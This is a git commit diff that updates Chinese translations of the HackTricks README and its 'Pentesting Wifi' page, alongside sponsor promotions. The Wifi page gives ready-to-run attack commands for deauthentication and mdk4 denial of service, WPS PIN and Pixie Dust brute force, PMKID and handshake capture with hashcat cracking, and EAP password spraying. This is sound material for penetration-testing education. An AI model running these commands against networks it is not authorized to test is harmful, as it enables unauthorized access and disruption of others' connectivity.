Translated ['README.md', 'generic-methodologies-and-resources/pentesting

This commit is contained in:
Translator 2024-11-19 12:25:18 +00:00
parent 3973d09598
commit 85e80d2815
19 changed files with 490 additions and 482 deletions

View file

@ -5,7 +5,7 @@
_Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
{% hint style="success" %}
**欢迎来到这个维基在这里你将找到我从CTF、现实生活应用、阅读研究和新闻中学到的每一个黑客技巧/技术/方法。**
**欢迎来到这个维基在这里你将找到我从CTF、现实生活应用、阅读研究和新闻中学到的每一个黑客技巧/技术/无论是什么。**
{% endhint %}
要开始,请遵循此页面,在这里你将找到**你在进行一个或多个机器的渗透测试时应该遵循的典型流程:**
@ -32,7 +32,7 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) 是**西班牙**最重要的网络安全事件之一,也是**欧洲**最重要的活动之一。这个大会的**使命是促进技术知识**,是各个学科的技术和网络安全专业人士的热闹聚会点。
[**RootedCON**](https://www.rootedcon.com) 是**西班牙**最重要的网络安全事件之一,也是**欧洲**最重要的活动之一。这个大会的**使命是促进技术知识**,是各个学科的技术和网络安全专业人士的热烈交流点。
{% embed url="https://www.rootedcon.com/" %}
@ -65,15 +65,15 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
### [HACKENPROOF](https://bit.ly/3xrrDrL)
<figure><img src=".gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和漏洞赏金猎人交流!
* **黑客见解**:参与深入探讨黑客的刺激和挑战的内容
* **实时黑客新闻**:通过实时新闻和见解跟上快速变化的黑客世界
* **最新公告**:了解即将推出的最新漏洞赏金和重要平台更新
* **实时黑客新闻**:通过实时新闻和见解跟上快速变化的黑客世界
* **最新公告**:了解最新漏洞赏金发布和重要平台更新
**加入我们,访问** [**Discord**](https://discord.com/invite/N3FrSbmwdy),今天就开始与顶级黑客合作!
**加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),今天就开始与顶级黑客合作!
***
@ -110,9 +110,9 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
[**WebSec**](https://websec.nl) 是一家总部位于**阿姆斯特丹**的专业网络安全公司,帮助**保护**全球企业免受最新网络安全威胁,通过提供**进攻性安全服务**以**现代**的方式。
WebSec是一家**一体化安全公司**,这意味着他们提供所有服务;渗透测试、**安全**审计、意识培训、网络钓鱼活动、代码审查、漏洞开发、安全专家外包等。
WebSec是一家**一体化安全公司**,这意味着他们可以做所有事情;渗透测试、**安全**审计、意识培训、网络钓鱼活动、代码审查、漏洞开发、安全专家外包等。
WebSec的另一个酷点是与行业平均水平不同WebSec对他们的技能**非常自信**甚至**保证最佳质量结果**,他们在网站上声明“**如果我们无法攻破它,你就不需要支付!**”。有关更多信息,请查看他们的[**网站**](https://websec.nl/en/)和[**博客**](https://websec.nl/blog/)
WebSec的另一个酷点是与行业平均水平不同WebSec对他们的技能**非常自信**以至于他们**保证最佳质量结果**,他们在网站上声明“**如果我们无法攻破它,你就不需要支付!**”。有关更多信息,请查看他们的[**网站**](https://websec.nl/en/)和[**博客**](https://websec.nl/blog/)
除了上述内容WebSec还是**HackTricks的坚定支持者**。
@ -139,7 +139,7 @@ WebSec的另一个酷点是与行业平均水平不同WebSec对他们的
<summary>支持HackTricks</summary>
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **加入** 💬 [**Discord小组**](https://discord.gg/hRep4RUj7f)或[**电报小组**](https://t.me/peass),或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
</details>

View file

@ -1,26 +1,26 @@
# Pentesting Wifi
{% hint style="success" %}
学习实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
学习实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
**黑客见解**\
参与深入探讨黑客的刺激挑战的内容
参与深入探讨黑客的刺激挑战的内容
**实时黑客新闻**\
通过实时新闻和见解,跟上快速变化的黑客世界
@ -28,7 +28,7 @@
**最新公告**\
了解最新的漏洞赏金发布和重要平台更新
**今天就加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy)与顶尖黑客开始合作吧!
**今天就加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy)开始与顶级黑客合作吧!
## Wifi 基本命令
```bash
@ -113,7 +113,7 @@ sudo python setup.py install # Install any dependencies
* **暴力破解**凭证
* **恶意双胞胎**有或没有DoS
* **开放**恶意双胞胎 \[+ DoS] -- 有助于捕获强制门户凭证和/或执行局域网攻击
* **WPA-PSK**恶意双胞胎 -- 如果您知道密码,对网络攻击很有用
* **WPA-PSK**恶意双胞胎 -- 如果您知道密码,有助于网络攻击
* **WPA-MGT** -- 有助于捕获公司凭证
* **KARMA, MANA**, **Loud MANA**, **已知信标**
* **+ 开放** -- 有助于捕获强制门户凭证和/或执行局域网攻击
@ -125,7 +125,7 @@ sudo python setup.py install # Install any dependencies
**来自** [**这里**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**的描述。**
**失去认证**攻击是Wi-Fi黑客中一种常见的方法涉及伪造“管理”帧以**强制断开设备与网络的连接**。这些未加密的数据包欺骗客户端使其相信它们来自合法网络从而使攻击者能够收集WPA握手以进行破解或持续干扰网络连接。这种简单的战术令人震惊,广泛使用,并对网络安全产生重大影响。
**失去认证**攻击是Wi-Fi黑客中一种常见的方法涉及伪造“管理”帧以**强制断开设备与网络的连接**。这些未加密的数据包欺骗客户端使其相信它们来自合法网络从而使攻击者能够收集WPA握手以进行破解或持续干扰网络连接。这种战术令人震惊的简单,广泛使用,并对网络安全产生重大影响。
**使用Aireplay-ng进行失去认证**
```
@ -139,7 +139,7 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
### 断开关联数据包
**断开关联数据包**,类似于去认证数据包,是在 Wi-Fi 网络中使用的一种管理帧。这些数据包用于切断设备如笔记本电脑或智能手机与接入点AP之间的连接。断开关联和去认证之间的主要区别在于它们的使用场景。虽然 AP 发出 **去认证数据包以明确地将流氓设备从网络中移除,断开关联数据包通常在 AP 正在关闭、重启或移动时发送,从而需要断开所有连接的节点。**
**断开关联数据包**,类似于去认证数据包,是在 Wi-Fi 网络中使用的一种管理帧。这些数据包用于切断设备如笔记本电脑或智能手机与接入点AP之间的连接。断开关联和去认证之间的主要区别在于它们的使用场景。虽然 AP 发出 **去认证数据包以明确地将流氓设备从网络中移除,断开关联数据包通常在 AP 正在关闭、重启或移动时发送,从而需要断开所有连接的节点。**
**此攻击可以通过 mdk4模式 "d")执行:**
```bash
@ -150,7 +150,7 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
```
### **更多通过 mdk4 的 DOS 攻击**
### **更多由 mdk4 进行的 DOS 攻击**
**在** [**这里**](https://en.kali.tools/?p=864)**.**
@ -166,7 +166,7 @@ mdk4 wlan0mon b -a -w nta -m
```
**攻击模式 a: 认证拒绝服务**
向范围内所有可访问的接入点AP发送认证帧可能会使这些 AP 过载,特别是在涉及多个客户端时。这种强烈的流量可能导致系统不稳定,导致一些 AP 冻结或甚至重置。
向范围内所有可访问的接入点AP发送认证帧可能会使这些 AP 过载,尤其是在涉及多个客户端时。这种强烈的流量可能导致系统不稳定,导致一些 AP 冻结或甚至重置。
```bash
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
@ -174,13 +174,13 @@ mdk4 wlan0mon b -a -w nta -m
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
```
**ATTACK MODE p: SSID 探测和暴力破解**
**攻击模式 p: SSID 探测和暴力破解**
探测接入点 (AP) 检查 SSID 是否被正确揭示,并确认 AP 的范围。此技术与 **暴力破解隐藏 SSID**(有或没有字典)相结合,有助于识别和访问隐网络。
探测接入点 (AP) 检查 SSID 是否被正确揭示,并确认 AP 的范围。此技术与 **暴力破解隐藏 SSID**(有或没有字典)相结合,有助于识别和访问隐网络。
**ATTACK MODE m: Michael 对策利用**
**攻击模式 m: Michael 对策利用**
向不同的 QoS 队列发送随机或重复的数据包可能会触发 **TKIP AP** 上的 Michael 对策,导致 AP 关闭一分钟。此方法是一种有效的 **DoS**(拒绝服务)攻击战术。
向不同的 QoS 队列发送随机或重复的数据包可能会触发 **TKIP AP** 上的 Michael 对策,导致接入点关闭一分钟。此方法是一种有效的 **DoS**(拒绝服务)攻击战术。
```bash
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
@ -188,25 +188,25 @@ mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
```
**攻击模式 e: EAPOL 启动和注销数据包注入**
**EAPOL 启动帧** 轰炸接入点会创建 **虚假会话**,使接入点不堪重负并阻止合法客户端。或者,注入 **虚假 EAPOL 注销消息**断开客户端,这两种方法都有效地干扰网络服务。
**EAPOL 启动帧** 轰炸接入点会创建 **虚假会话**,使接入点不堪重负并阻止合法客户端。或者,注入 **虚假 EAPOL 注销消息**断开客户端,这两种方法都有效地干扰网络服务。
```bash
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
```
**ATTACK MODE s: 对IEEE 802.11s网状网络的攻击**
**攻击模式 s针对 IEEE 802.11s 网状网络的攻击**
对网状网络中链路管理和路由的各种攻击。
**ATTACK MODE w: WIDS混淆**
**攻击模式 wWIDS 混淆**
将客户端交叉连接到多个WDS节点或假冒的流氓AP可以操纵入侵检测和预防系统,造成混淆和潜在的系统滥用。
将客户端交叉连接到多个 WDS 节点或假冒的恶意 AP 可以操纵入侵检测和预防系统,造成混淆和潜在的系统滥用。
```bash
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
```
**攻击模式 f: 数据包模糊器**
一个具有多样数据包源和全面数据包操作修改器的数据包模糊器。
一个具有多样数据包源和全面数据包操作修改器的数据包模糊器。
### **Airggedon**
@ -222,12 +222,12 @@ WPSWi-Fi 保护设置)简化了将设备连接到路由器的过程,提
执行此操作的主要工具有 2 个Reaver 和 Bully。
* **Reaver** 被设计为针对 WPS 的一种强大且实用的攻击,并已在各种接入点和 WPS 实现中进行了测试。
* **Bully** 是 WPS 暴力破解攻击的 **新实现**,用 C 语言编写。它相较于原始的 reaver 代码有几个优点:依赖性更少,内存和 CPU 性能更好,正确处理字节序,以及更强大的选项集。
* **Reaver** 被设计为对 WPS 进行强大且实用的攻击,并已针对各种接入点和 WPS 实现进行了测试。
* **Bully** 是 WPS 暴力破解攻击的 **新实现**,用 C 编写。它相较于原始的 reaver 代码有几个优点:依赖性更少,内存和 CPU 性能更好,正确处理字节序,以及更强大的选项集。
该攻击利用了 **WPS PIN 的漏洞**,特别是前四位数字的暴露和最后一位数字作为校验和的角色,简化了暴力破解攻击。然而,针对暴力破解攻击的防御措施,如 **阻止攻击者的 MAC 地址****MAC 地址轮换** 以继续攻击。
该攻击利用了 **WPS PIN 的漏洞**,特别是前四位数字的暴露和最后一位数字作为校验和的角色,简化了暴力破解攻击。然而,针对暴力破解攻击的防御措施,如 **阻止攻击者的 MAC 地址**,要 **MAC 地址轮换** 以继续攻击。
在使用 Bully 或 Reaver 等工具获 WPS PIN 后,攻击者可以推导出 WPA/WPA2 PSK从而确保 **持续的网络访问**
在使用 Bully 或 Reaver 等工具获 WPS PIN 后,攻击者可以推导出 WPA/WPA2 PSK从而确保 **持续的网络访问**
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
@ -237,18 +237,18 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
这种精细的方法针对使用已知漏洞的WPS PIN
1. **预先发现的PIN**利用与特定制造商相关的已知PIN数据库这些制造商已知使用统一的WPS PIN。该数据库将MAC地址的前三个八位字节与这些制造商可能的PIN相关联。
2. **PIN生成算法**:利用ComputePIN和EasyBox等算法根据AP的MAC地址计算WPS PIN。Arcadyan算法还需要设备ID为PIN生成过程增加了一层。
2. **PIN生成算法**:利用像ComputePIN和EasyBox这样的算法根据AP的MAC地址计算WPS PIN。Arcadyan算法还需要设备ID为PIN生成过程增加了一层。
### WPS Pixie Dust攻击
**Dominique Bongard**发现了一些接入点AP在创建秘密代码称为**nonces****E-S1**和**E-S2**方面的缺陷。如果这些nonces能够被破解破解AP的WPS PIN就变得容易。AP在一个特殊代码哈希中透露PIN以证明其合法性而不是伪造恶意AP。这些nonces本质上是解锁存放WPS PIN的“保险箱”的“钥匙”。更多信息可以在[这里](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))找到。
简单来说问题在于一些AP在连接过程中没有使用足够随机的密钥来加密PIN。这使得PIN容易被从网络外部猜测(离线暴力破解攻击)。
简单来说问题在于一些AP在连接过程中没有使用足够随机的密钥来加密PIN。这使得PIN容易被外部网络猜测(离线暴力破解攻击)。
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
```
如果您不想将设备切换到监模式,或者 `reaver``bully` 有一些问题,您可以尝试 [OneShot-C](https://github.com/nikita-yfh/OneShot-C)。这个工具可以在不切换到监模式的情况下执行 Pixie Dust 攻击。
如果您不想将设备切换到监模式,或者 `reaver``bully` 有一些问题,您可以尝试 [OneShot-C](https://github.com/nikita-yfh/OneShot-C)。这个工具可以在不切换到监模式的情况下执行 Pixie Dust 攻击。
```bash
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
```
@ -272,18 +272,18 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
## **WEP**
现在已经破损且不再使用。只需知道 _**airgeddon**_ 有一个名为 "All-in-One" 的 WEP 选项来攻击这种保护。更多工具提供类似选项。
现在已经破损且不再使用。只需知道 _**airgeddon**_ 有一个名为 "All-in-One" 的 WEP 选项来攻击这种保护。更多工具提供类似选项。
![](<../../.gitbook/assets/image (432).png>)
***
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
**黑客见解**\
参与深入探讨黑客的刺激挑战的内容
参与深入探讨黑客的刺激挑战的内容
**实时黑客新闻**\
通过实时新闻和见解,跟上快速变化的黑客世界
@ -307,9 +307,9 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
```bash
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
```
鉴于“PMK名称”是恒定的我们知道AP和站点的BSSID并且`PMK`与完整的4次握手中的相同**hashcat**可以利用这些信息来破解PSK并恢复密码短语
鉴于“PMK 名称”是恒定的,我们知道 AP 和站点的 BSSID并且 `PMK` 与完整的 4 次握手中的相同,**hashcat** 可以利用这些信息来破解 PSK 并恢复密码短语!
要**收集**这些信息并在本地**暴力破解**密码,您可以执行:
要**收集**这些信息并**本地暴力破解**密码,您可以执行:
```bash
airmon-ng check kill
airmon-ng start wlan0
@ -322,13 +322,13 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
```
捕获的 **PMKIDs** 将显示在 **控制台** 中,并且也会 **保存** 在 \_ **/tmp/attack.pcap**\_\
现在,将捕获的数据转换为 **hashcat/john** 格式并进行破解:
现在,将捕获的数据转换为 **hashcat/john** 格式并破解:
```bash
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```
请注意,正确哈希的格式包含 **4 部分**,如:`4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` 如果您的哈希 **仅** 包含 **3 部分**,那么它是 **无效的**PMKID 捕获无效)。
请注意,正确哈希的格式包含 **4 部分**,如: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` 如果您的 **仅** 包含 **3 部分**,那么它是 **无效的**PMKID 捕获无效)。
请注意,`hcxdumptool` **也捕获握手**(会出现类似这样的内容:**`MP:M1M2 RC:63258 EAPOLTIME:17091`**)。您可以使用 `cap2hccapx` **将握手** 转换为 **hashcat**/**john** 格式。
```bash
@ -342,10 +342,10 @@ _I have noticed that some handshakes captured with this tool couldn't be cracked
### Handshake capture
对**WPA/WPA2**网络的攻击可以通过捕获**handshake**并尝试**crack**密码**offline**来执行。这个过程涉及监控特定网络和特定**channel**上的**BSSID**的通信。以下是简化的指南:
对**WPA/WPA2**网络的攻击可以通过捕获**handshake**并尝试**crack**密码**offline**来执行。这个过程涉及监控特定网络和特定**BSSID**在特定**channel**上的通信。以下是简化的指南:
1. 确定目标网络的**BSSID**、**channel**和**connected client**。
2. 使用`airodump-ng`在指定的channel和BSSID上监控网络流量期望捕获一个handshake。命令如下
2. 使用`airodump-ng`在指定的channel和BSSID上监控网络流量期望捕获一个handshake。命令如下所示
```bash
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
```
@ -353,7 +353,7 @@ airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pca
```bash
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
```
_注意由于客户端被取消认证它可能会尝试连接到不同的AP或者在其他情况下连接到不同的网络。_
_注意由于客户端被取消认证它可能会尝试连接到不同的AP或者在其他情况下连接到不同的网络。_
一旦在 `airodump-ng` 中出现一些握手信息,这意味着握手已被捕获,您可以停止监听:
@ -377,7 +377,7 @@ tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the
```
cowpatty -r psk-01.cap -s "ESSID" -f -
```
_如果这个工具在完成的握手之前找到一个ESSID的未完成握手它将不会检测到有效的握手。_
_如果这个工具在完成的握手之前找到一个ESSID的未完成握手它将无法检测到有效的握手。_
**pyrit**
```bash
@ -393,14 +393,14 @@ pyrit -r psk-01.cap analyze
1. **EAP-GTC (通用令牌卡)**:
* 此方法支持硬件令牌和一次性密码在 EAP-PEAP 中。与 MSCHAPv2 不同,它不使用对等挑战,并以明文形式将密码发送到接入点,存在降级攻击的风险。
2. **EAP-MD5 (消息摘要 5)**:
* 涉及从客户端发送密码的 MD5 哈希。由于易受字典攻击、缺乏服务器认证以及无法生成会话特定的 WEP 密钥,因此**不推荐**使用。
* 涉及从客户端发送密码的 MD5 哈希。由于对字典攻击的脆弱性、缺乏服务器认证以及无法生成会话特定的 WEP 密钥,因此**不推荐**使用。
3. **EAP-TLS (传输层安全)**:
* 利用客户端和服务器端证书进行认证,并可以动态生成基于用户和会话的 WEP 密钥以保护通信。
4. **EAP-TTLS (隧道传输层安全)**:
* 通过加密隧道提供互认证,并提供一种方法来推导动态的、每用户、每会话的 WEP 密钥。只需要服务器端证书,客户端使用凭据。
* 通过加密隧道提供互认证,并提供一种方法来推导动态的、每用户、每会话的 WEP 密钥。只需要服务器端证书,客户端使用凭据。
5. **PEAP (受保护的可扩展认证协议)**:
* 通过创建 TLS 隧道进行受保护的通信,功能类似于 EAP。由于隧道提供的保护它允许在 EAP 之上使用较弱的认证协议。
* **PEAP-MSCHAPv2**: 通常称为 PEAP它将易受攻击的 MSCHAPv2 挑战/响应机制与保护性的 TLS 隧道结合在一起。
* **PEAP-MSCHAPv2**: 通常称为 PEAP它将脆弱的 MSCHAPv2 挑战/响应机制与保护性的 TLS 隧道结合在一起。
* **PEAP-EAP-TLS (或 PEAP-TLS)**: 类似于 EAP-TLS但在交换证书之前启动 TLS 隧道,提供额外的安全层。
您可以在 [这里](https://en.wikipedia.org/wiki/Extensible\_Authentication\_Protocol) 和 [这里](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html) 找到有关这些认证方法的更多信息。
@ -409,7 +409,7 @@ pyrit -r psk-01.cap analyze
阅读 [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27),看起来如果您使用 **EAP****“身份”** **消息**必须**支持**,并且**用户名**将在**“响应身份”**消息中以**明文**形式发送。
即使使用最安全的认证方法之一:**PEAP-EAP-TLS**,也可能**捕获在 EAP 协议中发送的用户名**。为此,**捕获认证通信**(在一个频道内启动 `airodump-ng`,并在同一接口中启动 `wireshark`并通过 `eapol` 过滤数据包。\
即使使用最安全的认证方法之一:**PEAP-EAP-TLS**,也可能**捕获在 EAP 协议中发送的用户名**。为此,**捕获认证通信**(在一个频道内启动 `airodump-ng`,并在同一接口中启动 `wireshark`)并通过 `eapol` 过滤数据包。\
在“**响应,身份**”数据包中,客户端的**用户名**将出现。
![](<../../.gitbook/assets/image (850).png>)
@ -421,24 +421,24 @@ pyrit -r psk-01.cap analyze
* EAP-身份 = 匿名
* 在这种情况下,所有用户都使用伪名“匿名”作为他们的用户标识符。初始 RADIUS 服务器作为 EAP-PEAP 或 EAP-TTLS 服务器,负责管理 PEAP 或 TTLS 协议的服务器端。内部受保护认证方法可以在本地处理或委托给远程家庭RADIUS 服务器。
* EAP-身份 = 匿名@realm\_x
* 在这种情况下,来自不同领域的用户隐藏他们的身份,同时指示他们各自的领域。这允许初始 RADIUS 服务器将 EAP-PEAP 或 EAP-TTLS 请求代理到其家庭领域中的 RADIUS 服务器,这些服务器充当 PEAP 或 TTLS 服务器。初始 RADIUS 服务器仅作为 RADIUS 中继节点。
* 在这种情况下,来自不同领域的用户隐藏他们的身份,同时指示他们各自的领域。这允许初始 RADIUS 服务器将 EAP-PEAP 或 EAP-TTLS 请求代理到其家庭领域中的 RADIUS 服务器,这些服务器充当 PEAP 或 TTLS 服务器。初始 RADIUS 服务器仅作为 RADIUS 中继节点运行
* 另外,初始 RADIUS 服务器可以作为 EAP-PEAP 或 EAP-TTLS 服务器,处理受保护的认证方法或将其转发到另一服务器。此选项便于为不同领域配置不同的策略。
在 EAP-PEAP 中,一旦在 PEAP 服务器和 PEAP 客户端之间建立了 TLS 隧道PEAP 服务器会发起 EAP-身份请求并通过 TLS 隧道发送。客户端通过发送包含用户真实身份的 EAP-身份响应来响应第二个 EAP-身份请求。此方法有效防止任何窃听 802.11 流量的人揭示用户的实际身份。
在 EAP-PEAP 中,一旦在 PEAP 服务器和 PEAP 客户端之间建立了 TLS 隧道PEAP 服务器会发起 EAP-身份请求并通过 TLS 隧道发送。客户端通过发送包含用户真实身份的 EAP-身份响应来响应第二个 EAP-身份请求。此方法有效防止任何窃听 802.11 流量的人揭示用户的实际身份。
EAP-TTLS 的程序略有不同。在 EAP-TTLS 中,客户端通常使用 PAP 或 CHAP 进行身份验证,受 TLS 隧道保护。在这种情况下,客户端在隧道建立后发送的初始 TLS 消息中包含一个用户名称属性和一个密码或 CHAP 密码属性。
无论选择哪种协议PEAP/TTLS 服务器在建立 TLS 隧道后都会了解用户的真实身份。真实身份可以表示为 user@realm 或简单的 user。如果 PEAP/TTLS 服务器还负责对用户进行身份验证,它现在拥有用户的身份,并继续使用 TLS 隧道保护的认证方法。或者PEAP/TTLS 服务器可以将新的 RADIUS 请求转发到用户的家庭 RADIUS 服务器。此新的 RADIUS 请求省略了 PEAP 或 TTLS 协议层。在受保护的认证方法为 EAP 的情况下,内部 EAP 消息在没有 EAP-PEAP 或 EAP-TTLS 包装的情况下传输到家庭 RADIUS 服务器。发出的 RADIUS 消息的用户名称属性包含用户的真实身份,替换来自传入 RADIUS 请求的匿名用户名称。当受保护的认证方法为 PAP 或 CHAP仅由 TTLS 支持)时,从 TLS 有效负载中提取的用户名称和其他认证属性在发出的 RADIUS 消息中替换,取代传入 RADIUS 请求中的匿名用户名称和 TTLS EAP 消息属性。
无论选择哪种协议PEAP/TTLS 服务器在建立 TLS 隧道后都会获得用户的真实身份。真实身份可以表示为 user@realm 或简单的 user。如果 PEAP/TTLS 服务器还负责对用户进行身份验证,它现在拥有用户的身份,并继续进行受 TLS 隧道保护的认证方法。或者PEAP/TTLS 服务器可以将新的 RADIUS 请求转发到用户的家庭 RADIUS 服务器。此新的 RADIUS 请求省略了 PEAP 或 TTLS 协议层。在受保护的认证方法为 EAP 的情况下,内部 EAP 消息将被传输到家庭 RADIUS 服务器,而不带 EAP-PEAP 或 EAP-TTLS 包装。发出的 RADIUS 消息的用户名称属性包含用户的真实身份,替换来自传入 RADIUS 请求的匿名用户名称。当受保护的认证方法为 PAP 或 CHAP仅由 TTLS 支持)时,从 TLS 有效负载中提取的用户名称和其他认证属性将替换发出的 RADIUS 消息中的匿名用户名称和传入 RADIUS 请求中的 TTLS EAP-消息属性。
有关更多信息,请查看 [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app\_notes/eap-peap.htm)
### EAP-暴力破解(密码喷洒)
如果预期客户端使用**用户名和密码**(请注意,在这种情况下**EAP-TLS 将无效**),那么您可以尝试获取**用户名**(见下一部分)和**密码**的**列表**,并尝试使用 [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**进行**暴力破解**访问。
如果客户端预计使用**用户名和密码**(请注意,在这种情况下**EAP-TLS 将无效**),那么您可以尝试获取**用户名**的**列表**(见下一部分)和**密码**,并尝试使用 [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**进行**暴力破解访问。**
```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
```
您还可以使用 `eaphammer` 行此攻击:
您还可以使用 `eaphammer` 行此攻击:
```bash
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
@ -452,7 +452,7 @@ EAP-TTLS 的程序略有不同。在 EAP-TTLS 中,客户端通常使用 PAP
* 802.11 协议定义了一个站点如何加入扩展服务集 (ESS),但并未指定选择 ESS 或其中接入点 (AP) 的标准。
* 站点可以在共享相同 ESSID 的 AP 之间漫游,保持在建筑物或区域内的连接。
* 协议要求站点对 ESS 进行身份验证,但不要求 AP 对站点进行身份验证。
* 协议要求站点对 ESS 进行身份验证,但不要求 AP 对站点进行身份验证。
### 首选网络列表 (PNL)
@ -469,7 +469,7 @@ EAP-TTLS 的程序略有不同。在 EAP-TTLS 中,客户端通常使用 PAP
* 主动探测涉及站点发送探测请求以发现附近的 AP 及其特性。
